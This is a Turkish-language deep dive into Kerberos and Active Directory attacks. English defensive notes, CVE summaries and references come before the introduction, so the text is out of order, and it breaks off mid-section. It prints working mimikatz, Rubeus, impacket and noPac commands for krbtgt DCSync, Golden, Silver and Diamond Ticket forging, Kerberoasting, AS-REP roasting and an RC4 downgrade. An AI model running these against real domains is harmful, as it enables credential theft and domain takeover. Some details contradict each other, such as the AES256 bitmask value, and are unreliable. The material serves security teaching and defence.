# Rotate krbtgt password periodically to invalidate Golden Tickets
# Important: Must be reset TWICE (to clear old key from all DCs)
# Tool: New-KrbtgtKeys.ps1 (Microsoft)
# RODCs have their own krbtgt accounts
# RODC compromise → reset only that RODC's krbtgt
Encryption Policy:
GPO: Computer Config → Windows Settings → Security Settings →
Local Policies → Security Options →
"Network security: Configure encryption types allowed for Kerberos"
Recommended: AES128, AES256 (disable DES and RC4)
PAC Validation:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1
Microsoft Defender for Identity (MDI) Alerts:
- Forged PAC using encryption downgrade activity
- Kerberos Golden Ticket activity
- Kerberos Silver Ticket activity
- Overpass-the-Hash activity
- Suspected Kerberoasting activity
- Account enumeration reconnaissance using Kerberos queries
Section 11: CVEs and Notable Vulnerabilities
MS14-068 (CVE-2014-6324)
Impact: Any domain user → Domain Admin
Mechanism: The KDC accepted checksum type 0xFFFFFFFF (unsigned MD5). An attacker could:
- Obtain a valid TGT
- Modify the PAC — add Domain Admin RID to GroupIds
- Use MD5 (unsigned) as the checksum type
- The KDC accepted the invalid checksum type instead of rejecting it
Fix: KB3011780 (November 2014). Not present on patched systems but still exploitable on unpatched pre-2014 systems.
noPac (CVE-2021-42287 + CVE-2021-42278)
Impact: Domain user → Domain Admin (rapidly)
Mechanism:
- CVE-2021-42278: Machine account sAMAccountName can be set to match a Domain Controller name
- CVE-2021-42287: When the KDC cannot find a sAMAccountName in TGS request, it retries with
$appended
Combined attack:
- Create machine account:
sAMAccountName = DC01(same as DC name) - Get TGT: for
DC01@CORP.LOCAL - Change the machine account's sAMAccountName to something else
- Request TGS: with
DC01@CORP.LOCAL's TGT for thekrbtgtservice - KDC can't find
DC01, searches forDC01$and finds the real DC - Result: receive TGS with real DC privileges
# noPac attack
noPac.py -scan CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1
noPac.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -shell
Fix: KB5008380 and KB5008602 (November/December 2021).
Sapphire Ticket (2022)
An evolution of the Diamond Ticket. Uses a real user's PAC inside a ticket for a different user. Obtains a genuine PAC via the S4U2Self mechanism and injects it into another ticket. Result: all PAC checksums are valid because they were computed against a real PAC.
References and Further Reading
RFCs:
- RFC 4120 (2005) — The Kerberos Network Authentication Service (V5)
- RFC 3961 (2005) — Encryption and Checksum Specifications for Kerberos 5
- RFC 3962 (2005) — Advanced Encryption Standard (AES) Encryption for Kerberos 5
- RFC 4757 (2006) — The RC4-HMAC Kerberos Encryption Types
- RFC 6113 (2011) — A Generalized Framework for Kerberos Pre-Authentication
- RFC 6806 (2012) — Kerberos Principal Name Canonicalization
Microsoft Documentation:
- MS-KILE: Kerberos Protocol Extensions
- MS-PAC: Privilege Attribute Certificate Data Structure
- MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
Academic Works:
- Neuman, C. & Ts'o, T. (1994). "Kerberos: An Authentication Service for Computer Networks." IEEE Communications.
- Bellovin, S.M. & Merritt, M. (1991). "Limitations of the Kerberos Authentication System." USENIX Conference Proceedings.
Research Blogs:
- harmj0y: "The Evolution of Protected Users"
- harmj0y: "Kerberoasting Without Mimikatz"
- gentilkiwi (mimikatz documentation): MS-KILE PAC implementation
- Sean Metcalf (adsecurity.org): "Detecting Kerberoasting Activity"
- Will Schroeder (@harmj0y) / Lee Christensen (@tifkin_): "An Ace Up the Sleeve"
Giriş: Kerberos'u Neden Bu Kadar Derinlemesine Anlamalıyız?
Kerberos'u gerçekten anlamak, neden altın biletlerin işe yaradığını, neden krbtgt hesabının "domain'in tanrı anahtarı" olduğunu ve neden bir servis hesabı şifresi çevrimdışı kırılabilir hale geldiğini anlamak demektir. Modern Active Directory saldırılarının büyük çoğunluğu — Golden Ticket, Silver Ticket, Kerberoasting, AS-REP Roasting, Diamond Ticket, Unconstrained Delegation, noPac — doğrudan Kerberos protokolünün iç mekanizmalarını istismar eder.
Bu yazı, Kerberos protokolünü sıfırdan başlayarak protokol tasarımı perspektifinden ele alıyor; ASN.1 yapılarını, şifreleme seçimlerini, PAC buffer'larını ve her saldırı tekniğinin protokolün tam olarak hangi zayıflığından beslendiğini açıklıyor.
Tarihsel Bağlam: MIT Athena'dan RFC 4120'ye
Kerberos, 1988 yılında MIT'nin Project Athena kapsamında geliştirildi. Temel problem şuydu: kampüs genelinde paylaşılan iş istasyonlarında kullanıcıların şifrelerini ağ üzerinden göndermeden kimlik doğrulaması nasıl yapılır? Çözüm, güvenilir bir üçüncü taraf (Kerberos sunucusu) aracılığıyla bilet tabanlı kimlik doğrulamaydı.
Kerberos v1–v4 arasındaki versiyonlar MIT içinde kullanıldı. 1993'te Neuman ve Ts'o, "Kerberos: An Authentication Service for Computer Networks" makalesini yayımladı. RFC 1510 (1993) ile ilk IETF standardizasyonu gerçekleşti; ardından RFC 4120 (2005) bu standardı kökten gözden geçirdi ve bugün hâlâ kullandığımız Kerberos 5 standardı oldu.
Microsoft, Windows 2000 ile birlikte Kerberos'u NTLM'in yerine varsayılan ağ kimlik doğrulama protokolü olarak benimsedi. Ancak MS-KILE (Microsoft Kerberos Protocol Extension) adıyla kendi uzantılarını da ekledi: PAC (Privilege Attribute Certificate), constrained delegation, resource-based constrained delegation gibi mekanizmalar RFC 4120'de yoktur, Microsoft'a özgüdür.
Bölüm 1: Kerberos Bileşenleri ve Terminoloji
Kerberos protokolünü anlamak için önce temel bileşenleri netleştirmek gerekiyor.
1.1 KDC — Key Distribution Center
KDC, Kerberos'un kalbidir ve iki mantıksal servisi barındırır:
AS (Authentication Service): Kullanıcının kimliğini doğrular ve TGT (Ticket Granting Ticket) verir. Kullanıcının uzun vadeli anahtarını (NTLM hash veya AES hash) doğrulama için kullanır.
TGS (Ticket Granting Service): Kullanıcının TGT'sini alır, doğrular ve istenen servise yönelik Service Ticket (ST) düzenler. TGS, kullanıcının şifresini bilmez; yalnızca TGT'nin geçerliliğini doğrular.
Active Directory ortamında KDC rolü, her Domain Controller üzerinde çalışır. krbtgt hesabı, tüm TGT'leri şifrelemek için kullanılan özel bir servis hesabıdır.
1.2 Principal
Principal, Kerberos'taki kimlik tanımlayıcısıdır. İki türü vardır:
- Kullanıcı principal:
user01@CORP.LOCALformatında. Büyük harfli kısım realm'dir. - Servis principal:
http/webserver.corp.local@CORP.LOCALformatında. SPN (Service Principal Name) olarak da bilinir. Active Directory'deservicePrincipalNameattribute'una yazılır.
1.3 Realm
Realm, Kerberos güven sınırını tanımlar. Geleneksel olarak büyük harfle yazılır ve genellikle DNS domain adıyla eşleşir: CORP.LOCAL. Cross-realm trust, iki realm arasında bilet kullanımına izin verir.
1.4 TGT vs Service Ticket
TGT (Ticket Granting Ticket):
krbtgt/CORP.LOCALservisi için düzenlenmiş özel bir bilet- KDC'ye erişmek için kullanılır
- Varsayılan ömrü 10 saat (renewable: 7 gün)
- Yalnızca KDC okuyabilir (
krbtgthash'i ile şifrelenmiş) - LSASS'ta saklanır (Windows) veya
ccachedosyasında (Linux)
Service Ticket (ST / TGS):
- Belirli bir SPN için düzenlenmiş bilet
- Servisin uzun vadeli anahtarıyla şifrelenmiş
- Varsayılan ömrü 10 saat
- Servis, KDC'ye sormadan doğrulayabilir (bu Silver Ticket'ı mümkün kılar)
Bölüm 2: AS Değişimi — Authentication Service Exchange
Kerberos oturumu, kullanıcı adını bile göndermeden önce başlar.
2.1 AS-REQ (KDC-REQ, msg-type 10)
AS-REQ, RFC 4120 §5.4.1'de tanımlı KDC-REQ yapısıdır:
KDC-REQ ::= SEQUENCE {
pvno [1] INTEGER (5),
msg-type [2] INTEGER (10 -- AS-REQ, 12 -- TGS-REQ),
padata [3] SEQUENCE OF PA-DATA OPTIONAL,
req-body [4] KDC-REQ-BODY
}
KDC-REQ-BODY ::= SEQUENCE {
kdc-options [0] KDCOptions,
cname [1] PrincipalName OPTIONAL,
realm [2] Realm,
sname [3] PrincipalName OPTIONAL,
from [4] KerberosTime OPTIONAL,
till [5] KerberosTime,
rtime [6] KerberosTime OPTIONAL,
nonce [7] UInt32,
etype [8] SEQUENCE OF Int32,
addresses [9] HostAddresses OPTIONAL,
enc-authorization-data [10] EncryptedData OPTIONAL,
additional-tickets [11] SEQUENCE OF Ticket OPTIONAL
}
Kritik alanlar:
cname: İstemcinin principal adı (kullanıcı adı)sname: İstenen servis; AS-REQ'da bu her zamankrbtgt/REALMetype: İstemcinin desteklediği şifreleme türleri (tercih sırasına göre)nonce: Replay saldırılarını önlemek için rastgele 32-bit değerpadata: Pre-authentication data (önceki kimlik doğrulama verileri)
2.2 PA-DATA: Pre-Authentication
Pre-authentication, replay saldırılarını ve offline brute-force'u önlemek için RFC 4120'ye eklendi (başlangıçta zorunlu değildi). En yaygın PA-DATA türleri:
PA-ENC-TIMESTAMP (type 2):
Kullanıcının uzun vadeli anahtarıyla şifrelenmiş zaman damgası. KDC bu şifreyi çözerek hem kullanıcının kimliğini doğrular hem de timestamp'in 5 dakika içinde olduğunu kontrol eder (replay koruması).
PA-ENC-TS-ENC ::= SEQUENCE {
patimestamp [0] KerberosTime,
pausec [1] Microseconds OPTIONAL
}
PA-ETYPE-INFO2 (type 19):
KDC'nin desteklediği şifreleme türlerini ve salt değerini bildirir. İstemci bu bilgiyle anahtarını türetir.
PA-PAC-REQUEST (type 128, MS-KILE):
İstemcinin PAC isteyip istemediğini bildirir. include-pac: TRUE gönderilirse KDC TGT'ye PAC ekler.
PA-FOR-USER (type 129, S4U2Self):
Servis hesabının başka bir kullanıcı adına TGS almasını sağlar.
2.3 AS-REP Roasting: DONT_REQUIRE_PREAUTH
userAccountControl attribute'unda DONT_REQUIRE_PREAUTH (0x400000) flag'i set edilmiş kullanıcılar için KDC, PA-ENC-TIMESTAMP olmadan bile AS-REP döndürür.
AS-REP yapısı:
AS-REP ::= [APPLICATION 11] KDC-REP
KDC-REP ::= SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (11 -- AS-REP, 13 -- TGS-REP),
padata [2] SEQUENCE OF PA-DATA OPTIONAL,
crealm [3] Realm,
cname [4] PrincipalName,
ticket [5] Ticket,
enc-part [6] EncryptedData -- EncASRepPart
}
enc-part (EncASRepPart), kullanıcının uzun vadeli anahtarıyla şifrelenmiştir ve session key'i içerir. Pre-auth yoksa bu alan hiçbir kimlik doğrulaması olmadan alınabilir ve offline kırılabilir.
# impacket ile AS-REP Roasting
GetNPUsers.py CORP.LOCAL/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# Çıktı formatı: $krb5asrep$23$user@CORP.LOCAL:...
hashcat -m 18200 asrep.hash wordlist.txt
Bölüm 3: TGT İç Yapısı — Byte Seviyesinde Analiz
TGT, RFC 4120 §5.3'te tanımlı Ticket yapısında taşınır:
3.1 Ticket ASN.1 Yapısı
Ticket ::= [APPLICATION 1] SEQUENCE {
tkt-vno [0] INTEGER (5),
realm [1] Realm,
sname [2] PrincipalName,
enc-part [3] EncryptedData -- EncTicketPart
}
EncTicketPart ::= [APPLICATION 3] SEQUENCE {
flags [0] TicketFlags,
key [1] EncryptionKey,
crealm [2] Realm,
cname [3] PrincipalName,
transited [4] TransitedEncoding,
authtime [5] KerberosTime,
starttime [6] KerberosTime OPTIONAL,
endtime [7] KerberosTime,
renew-till [8] KerberosTime OPTIONAL,
caddr [9] HostAddresses OPTIONAL,
authorization-data [10] AuthorizationData OPTIONAL
}
3.2 Alan-Alan Güvenlik Analizi
tkt-vno (5): Protokol versiyonu. Sabit 5. Sahte biletlerde de 5 olmalı.
realm (CORP.LOCAL): İhraç eden KDC'nin realm'i. Cross-realm saldırılarda farklı realm'den ihraç edilmiş biletler burada görünür.
sname (krbtgt/CORP.LOCAL): TGT her zaman krbtgt servisi içindir. Silver Ticket'ta bu alan hedef servisin SPN'ine göre değişir.
enc-part: Bu alanın EncryptionType değeri kritiktir. etype: 17 (AES-128) veya etype: 18 (AES-256) görmek normaldir. etype: 23 (RC4-HMAC) görmek — özellikle AES destekleyen bir ortamda — ya eski bir istemci ya da bir saldırı göstergesidir.
3.3 EncTicketPart: Biletin Kalbi
flags (KDC tarafından set edilir):
TicketFlags ::= KerberosFlags
-- forwardable (0) = 0x40000000
-- forwarded (1) = 0x20000000
-- proxiable (2) = 0x10000000
-- proxy (3) = 0x08000000
-- may-postdate (4) = 0x04000000
-- postdated (5) = 0x02000000
-- invalid (6) = 0x01000000
-- renewable (7) = 0x00800000
-- initial (8) = 0x00400000
-- pre-authent (9) = 0x00200000
-- hw-authent (10) = 0x00100000
-- ok-as-delegate (11) = 0x00040000 -- unconstrained delegation
-- name-canonicalize(15) = 0x00010000 -- MS-KILE extension
FORWARDABLE: Bilet başka bir bilgisayara iletilebilir. Unconstrained delegation saldırılarında zorunludur. Golden Ticket oluştururken bu flag set edilmelidir.
OK-AS-DELEGATE: Bu flag, servis hesabının unconstrained delegation için güvenilir olduğunu gösterir. Bir saldırgan OK-AS-DELEGATE flag'i set edilmiş bir servise bağlandığında, o servis kullanıcının TGT'sini kopyalayabilir.
RENEWABLE: Kullanıcı domain controller'a tekrar gitmeden biletini yenileyebilir. Uzun süreli persistence için önemli.
PRE-AUTHENT: Bu bilet, pre-authentication kullanılarak elde edilmiştir. Güvenilir kimlik doğrulama göstergesi.
key (Session Key):
Bu, AS değişimi sırasında istemci ile KDC arasında müzakere edilen oturum anahtarıdır. İstemci, TGS-REQ'daki Authenticator'ı bu anahtarla şifreler. Session key, AS-REP'in enc-part'ında da bulunur (kullanıcının uzun vadeli anahtarıyla şifrelenmiş olarak).
authtime: Kullanıcının ilk kimlik doğrulama zamanı. Diamond Ticket, gerçek bir TGT alıp bu alanı değiştirmeden kullandığı için tespiti zorlaştırır. Golden Ticket'ta bu alan sahte olabilir.
endtime: Bilet geçerlilik süresi. Golden Ticket saldırılarında genellikle 10 yıl (87600 saat) olarak set edilir — bu anormal bir değerdir ve tespit için kullanılabilir.
authorization-data: PAC (Privilege Attribute Certificate), bu alanda taşınır. Aşağıda detaylı inceliyoruz.
3.4 Golden Ticket: Şifreleme Perspektifi
Golden Ticket saldırısı şu prensibi istismar eder: enc-part, krbtgt hesabının uzun vadeli anahtarıyla şifrelenmiştir. KDC, TGT'yi doğrularken yalnızca şifrelemeyi çözer ve içeriğin mantıklı olduğunu kontrol eder. Hangi Domain Controller'ın ihraç ettiğini doğrulayamaz, zira KDC bu bilgiyi tutmaz.
# Adım 1: krbtgt hash'i al (DCSync)
mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.local
# Çıktı:
# Hash NTLM: aabbccdd11223344...
# Hash SHA1: eeff001122334455...
# AES256: 0011223344556677...
# Adım 2: Golden Ticket oluştur
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/krbtgt:aabbccdd11223344... \
/id:500 \
/groups:512,519,520,513,518 \
/sids:S-1-5-21-3623811015-3361044348-30300820-519 \
/ptt
# AES-256 ile (daha stealthy — RC4 uyarısı üretmez)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-... /aes256:0011223344... /ptt
Golden Ticket'ın kritik özelliği: KDC hiçbir zaman "bu TGT'yi ben mi oluşturdum?" diye sormaz. Yalnızca "krbtgt anahtarımla çözülebiliyor mu ve içeriği geçerli mi?" sorusunu sorar.
3.5 Diamond Ticket: Daha Gizli Alternatif
Diamond Ticket, Golden Ticket'ın tespite karşı geliştirilmiş versiyonudur. Fark şurada:
-
Golden Ticket: Tamamen sahte bir TGT. Gerçek bir DC'nin üretmediği
authtime, sahtecname, sahte timestamps içerebilir. Bazı honeypot/canary sistemleri bunu tespit edebilir. -
Diamond Ticket: Gerçek bir TGT alınır (gerçek
authtime, gerçekcname, gerçek session key ile). Sonra bu TGT'ninenc-part'ı decrypt edilir,ExtraSidsalanına Domain Admins/Enterprise Admins SID'i eklenir ve yeniden şifrelenir. Sonuç: KDC'nin gerçekten ürettiği bir TGT'nin modifiye edilmiş versiyonu.
# Rubeus ile Diamond Ticket
Rubeus.exe diamond /krbkey:0011223344556677... /user:USER01 \
/password:Password1! /enctype:aes256 \
/sids:S-1-5-21-...-519 /domain:corp.local /dc:DC01.corp.local /ptt
# Impacket ile
ticketer.py -request -domain corp.local -domain-sid S-1-5-21-... \
-aesKey 0011223344... -extra-sid S-1-5-21-...-519 USER01
Bölüm 4: TGS Değişimi — Ticket Granting Service Exchange
4.1 TGS-REQ (msg-type 12)
TGT alındıktan sonra kullanıcı, bir servise erişmek için TGS'ye başvurur:
-- TGS-REQ padata'sı:
PA-TGS-REQ ::= AP-REQ -- TGT + Authenticator
AP-REQ ::= [APPLICATION 14] SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (14),
ap-options [2] APOptions,
ticket [3] Ticket, -- TGT
authenticator [4] EncryptedData -- session key ile şifrelenmiş
}
Authenticator ::= [APPLICATION 2] SEQUENCE {
authenticator-vno [0] INTEGER (5),
crealm [1] Realm,
cname [2] PrincipalName,
cksum [3] Checksum OPTIONAL,
cusec [4] Microseconds,
ctime [5] KerberosTime,
subkey [6] EncryptionKey OPTIONAL,
seq-number [7] UInt32 OPTIONAL,
authorization-data [8] AuthorizationData OPTIONAL
}
Authenticator'ın güvenlik rolü: Replay saldırılarını önlemek için her Authenticator benzersiz bir timestamp içerir. KDC, son 5 dakikadaki kullanılan Authenticator'ları bir replay cache'de tutar. Aynı Authenticator ikinci kez gönderilirse KRB_AP_ERR_REPEAT hatası döndürülür.
4.2 TGS-REP (msg-type 13)
TGS-REP iki şifreli alan içerir:
TGS-REP ::= [APPLICATION 13] KDC-REP
-- enc-part: session key ile şifrelenmiş (EncTGSRepPart)
EncTGSRepPart ::= [APPLICATION 26] SEQUENCE {
key [0] EncryptionKey, -- yeni session key (client↔service)
last-req [1] LastReq,
nonce [2] UInt32,
key-expiration [3] KerberosTime OPTIONAL,
flags [4] TicketFlags,
authtime [5] KerberosTime,
starttime [6] KerberosTime OPTIONAL,
endtime [7] KerberosTime,
renew-till [8] KerberosTime OPTIONAL,
srealm [9] Realm,
sname [10] PrincipalName,
caddr [11] HostAddresses OPTIONAL
}
-- ticket: servis hash'i ile şifrelenmiş (EncTicketPart)
-- İstemci bu alanı okuyamaz, servise olduğu gibi gönderir
4.3 Kerberoasting: Servis Hash'ini Çevrimdışı Kırmak
TGS-REP'teki ticket alanı, servis hesabının uzun vadeli anahtarıyla şifrelenmiştir. İstemci bu alanın içeriğini okumaz; servise doğrudan iletir. Ancak bir saldırgan bu şifreli bloğu alıp çevrimdışı kırmayı deneyebilir.
# İmpacket ile Kerberoast
GetUserSPNs.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -request
# Çıktı: $krb5tgs$23$*SvcAccount$CORP.LOCAL$...
# hashcat ile kırma
hashcat -m 13100 kerberoast.hash /wordlists/rockyou.txt --rules=best64.rule
# AES TGS (daha zor kırılır) — hashcat mode 19600/19700
hashcat -m 19600 aes128.hash wordlist.txt
hashcat -m 19700 aes256.hash wordlist.txt
# Rubeus ile
Rubeus.exe kerberoast /nowrap /format:hashcat
RC4 Downgrade — Neden Hâlâ RC4?
Modern ortamlarda servis hesapları AES kullanabilir. Ancak saldırgan, TGS-REQ'daki etype alanında yalnızca RC4 (0x17) belirtirse, KDC servise RC4 ile şifreli TGS verebilir — eğer servis hesabının msDS-SupportedEncryptionTypes değeri RC4'e izin veriyorsa.
# RC4 zorla
Rubeus.exe kerberoast /rc4opsec /nowrap
# veya
GetUserSPNs.py CORP.LOCAL/user01:Password1! -request -etype RC4
4.4 Silver Ticket: KDC'ye Hiç Gitmeden
Silver Ticket, TGS-REP'teki ticket alanını — servis hash'i ile — kendimiz oluşturmamıza dayanır. Böylece KDC'ye hiç bağlanmadan servise giriş yapabiliriz. Bu hem daha sessizdir (KDC logları yok) hem de etki alanı bağlantısı gerektirmez.
# Servis hash'ini al (önceki Kerberoast veya local dump)
mimikatz # sekurlsa::logonpasswords
# veya: lsadump::lsa /patch
# Silver Ticket oluştur
mimikatz # kerberos::golden /user:FakeUser \
/domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/target:webserver.corp.local \
/service:http \
/rc4:aabbccdd... \
/ptt
# Rubeus ile
Rubeus.exe silver /service:http/webserver.corp.local \
/rc4:aabbccdd... /user:FakeUser /domain:corp.local /ptt
Silver Ticket, yalnızca o servis için geçerlidir ve PAC'ı KDC'ye doğrulatmayan servisler için çalışır. Çoğu servis (IIS, MSSQL, SMB) PAC doğrulama yapmaz.
Bölüm 5: PAC — Privilege Attribute Certificate
PAC, Microsoft'un RFC 4120'ye eklediği en kritik uzantıdır. Kerberos biletlerinin içinde taşınan ve Windows yetkilendirme kararlarını yönlendiren yapıdır.
5.1 PAC'ın Konumu
PAC, her Kerberos biletinin authorization-data alanında bulunur. Sarma yapısı şöyledir:
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING
}
-- ad-type: 1 → AD-IF-RELEVANT
-- İçinde: ad-type: 128 → AD-WIN2K-PAC
5.2 PACTYPE Yapısı
MS-PAC spesifikasyonuna göre PAC, aşağıdaki üst düzey yapıya sahiptir:
PACTYPE {
cBuffers: ULONG, // Buffer sayısı
Version: ULONG (0), // Her zaman 0
Buffers[]: PAC_INFO_BUFFER
}
PAC_INFO_BUFFER {
ulType: ULONG, // Buffer türü
cbBufferSize: ULONG, // Buffer boyutu
Offset: ULONG64 // PAC başından offset
}
5.3 PAC_LOGON_INFO (ulType: 0x00000001) — En Kritik Buffer
Bu buffer, KERB_VALIDATION_INFO (MS-PAC §2.5) yapısını içerir ve NDR (Network Data Representation) ile encode edilmiştir. Windows'un kullanıcı yetkilerini belirlemek için kullandığı tüm veriler burada bulunur.
KERB_VALIDATION_INFO {
LogonTime: FILETIME
LogoffTime: FILETIME
KickOffTime: FILETIME
PasswordLastSet: FILETIME
PasswordCanChange: FILETIME
PasswordMustChange: FILETIME
EffectiveName: RPC_UNICODE_STRING // username
FullName: RPC_UNICODE_STRING
LogonScript: RPC_UNICODE_STRING
ProfilePath: RPC_UNICODE_STRING
HomeDirectory: RPC_UNICODE_STRING
HomeDirectoryDrive: RPC_UNICODE_STRING
LogonCount: USHORT
BadPasswordCount: USHORT
UserId: ULONG // RID (e.g., 1105)
PrimaryGroupId: ULONG // e.g., 513 = Domain Users
GroupCount: ULONG
GroupIds[]: GROUP_MEMBERSHIP[] // Group RID listesi
UserFlags: ULONG
UserSessionKey: USER_SESSION_KEY
LogonServer: RPC_UNICODE_STRING
LogonDomainName: RPC_UNICODE_STRING
LogonDomainId: PRPC_SID // Domain SID
Reserved1[2]: ULONG
UserAccountControl: ULONG
SubAuthStatus: ULONG
LastSuccessfulILogon: FILETIME
LastFailedILogon: FILETIME
FailedILogonCount: ULONG
Reserved3: ULONG
SidCount: ULONG
ExtraSids[]: KERB_SID_AND_ATTRIBUTES[] // ← SALDIRI NOKTASI
ResourceGroupDomainSid: PRPC_SID
ResourceGroupCount: ULONG
ResourceGroupIds[]: GROUP_MEMBERSHIP[]
}
ExtraSids — Golden Ticket'ın Kalbi
ExtraSids alanı, kullanıcının üye olduğu ek SID'leri içerir. Normalde bu alan, cross-realm SID history gibi durumlar için kullanılır. Golden Ticket saldırısında ise bu alana Domain Admins (512) veya Enterprise Admins (519) SID'i eklenir:
ExtraSids[0] = S-1-5-21-3623811015-3361044348-30300820-512 // Domain Admins
ExtraSids[1] = S-1-5-21-3623811015-3361044348-30300820-519 // Enterprise Admins
Servis bu SID'leri PAC'tan okur ve kullanıcıya Domain Admin yetkisi verir — Active Directory'de gerçek bir grup üyeliği olmasa bile.
5.4 PAC_CLIENT_INFO (ulType: 0x0000000A)
PAC_CLIENT_INFO {
ClientId: FILETIME // authtime (8 byte)
NameLength: USHORT
Name: WCHAR[] // ClientName (UTF-16LE)
}
Bu buffer, bileti kullanan istemcinin adını ve kimlik doğrulama zamanını içerir. Diamond Ticket analizi yaparken bu alanın gerçek bir değer taşıması tespiti zorlaştırır.
5.5 PAC_UPN_DNS_INFO (ulType: 0x0000000C)
UPN_DNS_INFO {
UpnLength: USHORT
UpnOffset: USHORT
DnsDomainNameLength: USHORT
DnsDomainNameOffset: USHORT
Flags: ULONG
// Data: UPN + DnsDomainName (UTF-16LE)
}
UPN (User Principal Name) ve DNS domain adını içerir. Bazı servislerin kullanıcı kimliği için kullandığı ek bilgi.
5.6 PAC_SERVER_CHECKSUM (ulType: 0x00000006)
PAC_SIGNATURE_DATA {
SignatureType: ULONG // 0x0000000F = HMAC-SHA1-96
Signature: BYTE[] // 12 veya 16 byte HMAC
RODCIdentifier: USHORT OPTIONAL
}
Bu checksum, servis hesabının uzun vadeli anahtarıyla hesaplanmıştır. PAC içeriğinin değiştirilmediğini doğrular.
Silver Ticket bağlantısı: Saldırgan servis hash'ini biliyorsa, sahte PAC oluşturabilir ve PAC_SERVER_CHECKSUM'u doğru şekilde hesaplayabilir. Servis, bu checksum'u yalnızca kendi anahtarıyla doğrular.
5.7 PAC_KDC_CHECKSUM (ulType: 0x00000007)
Aynı PAC_SIGNATURE_DATA formatını kullanır ancak krbtgt anahtarıyla hesaplanır. PAC_SERVER_CHECKSUM'un checksum'udur (PAC'ın tamamının değil).
Golden/Diamond Ticket bağlantısı: Saldırgan krbtgt hash'ini biliyorsa bu checksum'u yeniden hesaplayabilir ve KDC doğrulamasından geçebilir.
5.8 PAC Doğrulama: Neden Çoğu Servis Yapmaz?
RFC 4120 PAC doğrulamayı zorunlu kılmaz. Servis, PAC'ı KDC'ye gönderip doğrulatabilir (KERB_VERIFY_PAC_REQUEST protokolü) ancak bu ek bir RPC çağrısı gerektirir ve performansı düşürür. IIS, MSSQL, SMB gibi yaygın servislerin büyük çoğunluğu PAC doğrulama yapmaz. Bu yüzden Silver Ticket çalışır.
PAC doğrulamayı etkinleştirmek için:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1 (DWORD)
Bölüm 6: Şifreleme Türleri ve Güvenlik Analizi
6.1 RFC 3961: Kerberos Şifreleme Çerçevesi
RFC 3961, Kerberos şifreleme türleri için genel bir çerçeve tanımlar. Her şifreleme türü için:
- Anahtar türetme fonksiyonu (string2key, random2key)
- Şifreleme ve şifre çözme
- Integrity checksum
- Pseudo-random fonksiyonu
6.2 RC4-HMAC (etype 0x17): Neden Hâlâ Sorunlu?
RC4-HMAC, RFC 4757'de tanımlanmıştır ve Microsoft'un Windows 2000 ile eklediği bir uzantıdır. Kritik güvenlik sorunu şudur: RC4-HMAC için Kerberos anahtarı, NTLM hash'inin kendisidir.
string2key(password, salt) = NTLM-hash(password) = MD4(UTF16LE(password))
Yani:
- NTLM hash'i ele geçiren saldırgan, RC4 ile şifrelenmiş Kerberos TGT/TGS'yi kırabilir
- Pass-the-Hash ile Kerberos arasında doğrudan köprü oluşur (Overpass-the-Hash)
- Kerberoasting, servis hesabının NTLM hash'ini elde etmek için RC4 TGS kırar
# Overpass-the-Hash: NTLM hash → Kerberos TGT
Rubeus.exe asktgt /user:USER01 /rc4:aabbccdd... /domain:corp.local /ptt
impacket-getTGT corp.local/USER01 -hashes :aabbccdd...
6.3 AES-256-CTS-HMAC-SHA1-96 (etype 0x12): Neden Daha Güvenli?
AES Kerberos için RFC 3962'de tanımlanmıştır. string2key fonksiyonu:
string2key(password, salt, params):
iter_count = params.iter_count # default: 4096
tkey = random2key(PBKDF2-SHA1(password, salt, iter_count, keylength))
key = DK(tkey, "kerberos" || 0x00000001 || keylength)
PBKDF2 ile 4096 iterasyon, her tahmin için 4096 SHA-1 hesabı gerektirir. Bu, offline kırmayı RC4'e kıyasla birkaç bin kat yavaşlatır.
AES için salt değeri: REALM + username (ör: CORP.LOCALuser01). Çevrimdışı kırmada wordlist denemelerinin her biri için bu salt ile PBKDF2 çalıştırılır.
AES Golden Ticket: AES krbtgt hash'i gerektirir. Bu hash lsadump::dcsync /user:krbtgt ile elde edilebilir. AES ile oluşturulan Golden Ticket, RC4 ile oluşturulana kıyasla daha az tespit edilir çünkü modern DC'ler RC4 kullanımını loglar.
6.4 msDS-SupportedEncryptionTypes
Bu Active Directory attribute'u, bir principal'ın (kullanıcı/bilgisayar/servis hesabı) hangi şifreleme türlerini kabul ettiğini bit maskesi olarak tanımlar:
Bit Value Anlamı
0 0x00000001 DES-CBC-CRC
1 0x00000002 DES-CBC-MD5
2 0x00000004 RC4-HMAC
3 0x00000008 AES128-CTS-HMAC-SHA1-96
7 0x00000080 AES256-CTS-HMAC-SHA1-96 ← en yüksek bit değil!
Yaygın değerler:
0(set edilmemiş): RC4 varsayılan0x18(24): AES-128 + AES-256 — önerilen0x1C(28): RC4 + AES — geçiş dönemi0x1F(31): Tümü (DES dahil) — tehlikeli
Kerberoasting downgrade saldırısı:
# GenericWrite ile msDS-SupportedEncryptionTypes'ı RC4'e indir
Set-ADUser svcSQLAdmin -Replace @{
'msDS-SupportedEncryptionTypes' = 4 # Yalnızca RC4
}
# Ardından Kerberoast → hashcat -m 13100 (çok daha hızlı)
Tespit: EID 4769'da ticket_encryption_type = 0x17 (RC4) — hedef hesap AES destekliyorken RC4 isteği şüpheli.
Bölüm 7: S4U Uzantıları — Protocol Transition ve Delegation
7.1 S4U2Self (MS-SFU §3.1)
S4U2Self (Service-for-User-to-Self), bir servis hesabının herhangi bir kullanıcı adına kendi servisi için TGS almasını sağlar. Bu "protocol transition" olarak adlandırılır çünkü Kerberos olmayan bir kimlik doğrulama mekanizmasından (NTLM, sertifika) Kerberos kimlik doğrulamasına geçiş yapılır.
S4U2Self akışı:
1. Service → KDC: TGS-REQ
